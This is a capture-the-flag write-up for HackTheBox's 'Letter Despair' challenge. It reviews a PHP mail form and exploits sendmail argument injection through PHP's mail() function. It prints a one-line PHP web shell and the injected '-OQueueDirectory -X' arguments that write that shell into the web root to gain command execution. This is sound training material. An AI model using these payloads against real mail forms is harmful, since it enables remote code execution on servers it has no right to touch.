Letter Despair (HTB Business CTF 2022: Dirty Money)

Letter Despair is a simple Web challenge provided by HackTheBox as part of their Business CTF: Dirty Money. This challenge is very simple, a single .PHP file was provided which indicates the vulnerability is likely to be discovered by some form of code review.

A screenshot of the application can be seen below:

My first step of action is to identify how user-submitted values will flow through the provided source code. The source code is small and allowed me to easily identify the main function which all the action occurs:

function send_email($email) {
    $mailer = new email();
    $mailer->add_message(replace_vars($_POST['email_body'], $email));
    $mailer->build_message();

    $from_name = $_POST['from_name'];
    $from_email = $_POST['from_email'];
    $subject = $_POST['subject'];
    $to_name = explode("@", $email)[0];

    if ($_FILES['attachment']['tmp_name'])
    {
        $mailer->add_attachment(
            $mailer->get_file($_FILES['attachment']['tmp_name'])
        );
    }

    return $mailer->send($to_name, $email, $from_name, $from_email, $subject);
}

This function takes the user-submitted form values and passes it into the send function (functions such as add_message have been omitted as it doesn’t really do anything to the data).

The code of the send function can be seen below:

    public function send($to_name, $to_addr, $from_name, $from_addr, $subject = '', $headers = [])
    {

        foreach (["\n", "\r"] as $line_ending)
        {
            foreach ([$to_name, $to_addr, $subject, $from_name, $from_addr] as $header_value)
            {
                if (false !== strstr($header_value, $line_ending))
                {
                    return false;
                }
            }
        }

        $to = $this->format_address($to_addr, $to_name);
        $from = $this->format_address($from_addr, $from_name);

        if (defined('EMAIL_FROM'))
        {
            $sender_headers = ['From: ' . EMAIL_FROM, 'Reply-to: ' . $from];
            $from_addr = EMAIL_FROM;
        }
        else
        {
            $sender_headers = ['From: ' . $from];
        }

        $headers = array_merge($this->headers, $sender_headers, $this->normalize_headers($headers));

        return mail($to, $subject, $this->output, implode($this->lf, $headers) , "-f$from_addr");
    }

Reading through the source-code, I didn’t find any points of interest until the very last call:

return mail($to, $subject, $this->output, implode($this->lf, $headers) , "-f$from_addr");

The mail function is dangerous and has been documented in-detail in this article from Sonarsource: Why mail() is dangerous in PHP and another article here detailing how we can leverage this into an RCE. We can see that the from_addr function (as well as the other variables) are not sanitized and is therefore vulnerable.

To summarise the steps required to exploit:

  1. Insert PHP code into any field that isn’t the from_addr variable.
  2. Re-direct this into a file by escaping the from_addr variable.

This is done very simply by injecting a simple PHP command shell into the subject:

<?php system($_GET["cmd"]); ?>

And we escape the from_addr using:

-OQueueDirectory=/tmp -X/var/www/html/rce.php

We then confirm the vulnerability by browsing to the file that was created:

And confirm code-execution by sending a whoami to the cmd parameter.

With the vulnerability confirmed, we now move the exploit the actual application and get the flag!

Leave a Comment